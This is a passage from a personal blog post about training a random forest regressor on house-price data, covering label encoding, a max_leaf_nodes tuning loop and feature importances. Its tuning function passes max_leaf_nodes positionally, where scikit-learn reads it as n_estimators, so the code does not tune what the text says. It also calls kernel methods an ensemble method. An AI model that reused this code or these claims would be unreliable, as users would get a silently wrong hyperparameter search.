<p>My first problem was quite trivial. I wrote a function to loop through &lsquo;object&rsquo; dtypes in a given pandas dataframe and used sklearn.preprocessing&rsquo;s <a href="https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.LabelEncoder.html">LabelEncoder</a> to <code>fit_transform()</code> the selected column, effectively creating numerical representations of comparable values.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">convert_categorical_to_integer_labels</span>(dataframe):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> col <span style="color:#f92672">in</span> dataframe<span style="color:#f92672">.</span>select_dtypes(include<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;object&#39;</span>)<span style="color:#f92672">.</span>columns:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># ignore non-feature</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> col <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;SalePrice&#39;</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># remove missing data from selected dataframe</span>
</span></span><span style="display:flex;"><span>        dataframe[col] <span style="color:#f92672">=</span> dataframe[col]<span style="color:#f92672">.</span>fillna(<span style="color:#e6db74">&#39;Missing&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># apply fit_transform</span>
</span></span><span style="display:flex;"><span>        dataframe[col] <span style="color:#f92672">=</span> le<span style="color:#f92672">.</span>fit_transform(dataframe[col])
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> dataframe
</span></span></code></pre></div><p>Redefining my main dataframe, <code>train_data</code> as itself ran through this function now yields a fully-usable dataset.</p>
<h3 id="tuning-hyperparameters-and-selecting-features">Tuning Hyperparameters and Selecting Features</h3>
<p>Developing this small model gave me insight into how decision trees work on a granular level, like how too many leaf nodes in a decision tree or random forest can lead to poor model performance. As the model is built and becomes too large, it may try to find similarities between features that don&rsquo;t exist. This is why it&rsquo;s imperative to guide the model in the right direction through the process of tuning.</p>
<p>Tuning hyperparameters like max_leaf_nodes is useful for creating a more accurate model, but it&rsquo;s far more effective to automate the process. I simply defined a list of some integers from 0-500 <code>candidate_leaf_nodes = [5,10,25,50,100,200,500,700,1000]</code> and ran it through a function that I also used to iterate through feature selection:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">train_model_return_error</span>(X, y, max_leaf_nodes):
</span></span><span style="display:flex;"><span>    X_train, X_val, y_train, y_val <span style="color:#f92672">=</span> train_test_split(X, y, random_state<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    model <span style="color:#f92672">=</span> RandomForestRegressor(max_leaf_nodes, random_state<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    model<span style="color:#f92672">.</span>fit(X_train, y_train)
</span></span><span style="display:flex;"><span>    y_pred <span style="color:#f92672">=</span> model<span style="color:#f92672">.</span>predict(X_val)
</span></span><span style="display:flex;"><span>    mae <span style="color:#f92672">=</span> mean_absolute_error(y_val, y_pred)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> mae
</span></span></code></pre></div><p>&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> leaf <span style="color:#f92672">in</span> candidate_leaf_nodes:
</span></span><span style="display:flex;"><span>    mae <span style="color:#f92672">=</span> train_model_return_error(X, y, leaf)
</span></span><span style="display:flex;"><span>    candidate_leaf_nodes_mae_index<span style="color:#f92672">.</span>append([leaf, mae])
</span></span></code></pre></div><p>A list pairing each candidate with its MAE allowed me to select the <code>ideal_leaf_nodes</code> with an anonymous function:</p>
<p><code>ideal_leaf_nodes = min(candidate_leaf_nodes_mae_index, key = lambda x: x[1])[0]</code></p>
<p>When we view the results from <code>candidate_leaf_nodes_mae_index</code>, we can clearly see diminishing returns as max_leaf_nodes increases, and even inconsistent negative growth as the model reaches a count of 1000.</p>
<p><img src="/posts/forest_regression/mae_wrt_max_leaf_nodes.png" alt=""></p>
<p>I initially planned to use a sliding window approach, but discovered Random Forest&rsquo;s built-in importance scores were more principled and computationally efficient.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>importances <span style="color:#f92672">=</span> model<span style="color:#f92672">.</span>feature_importances_
</span></span></code></pre></div><p><img src="/posts/forest_regression/feature_importances_wrt_feature.png" alt="">
<em>Top 20 features by importance (80 total were selected). The steep dropoff shows how concentrated predictive power is in just a few features.</em></p>
<hr>
<p>This project is the first of many in my exploration of machine learning models and their optimization. Exploring different approaches to feature selection, from manual sliding windows to sklearn&rsquo;s built-in importance scores, taught me the value of leveraging well-tested libraries. I also learned about the power of continuous model fitting and doing so in a results-oriented way, using mean absolute error as one method of measuring effectiveness.</p>
<p>Coming away from this project had me wondering if a random forest regressor is truly ideal for this project. What other ensemble learning methods could I try? In the future, I&rsquo;ll examine other ensemble methods like kernel methods or gradient boosting and try to understand how each can be used for different kinds of applications.</p>
]]></content></item></channel></rss>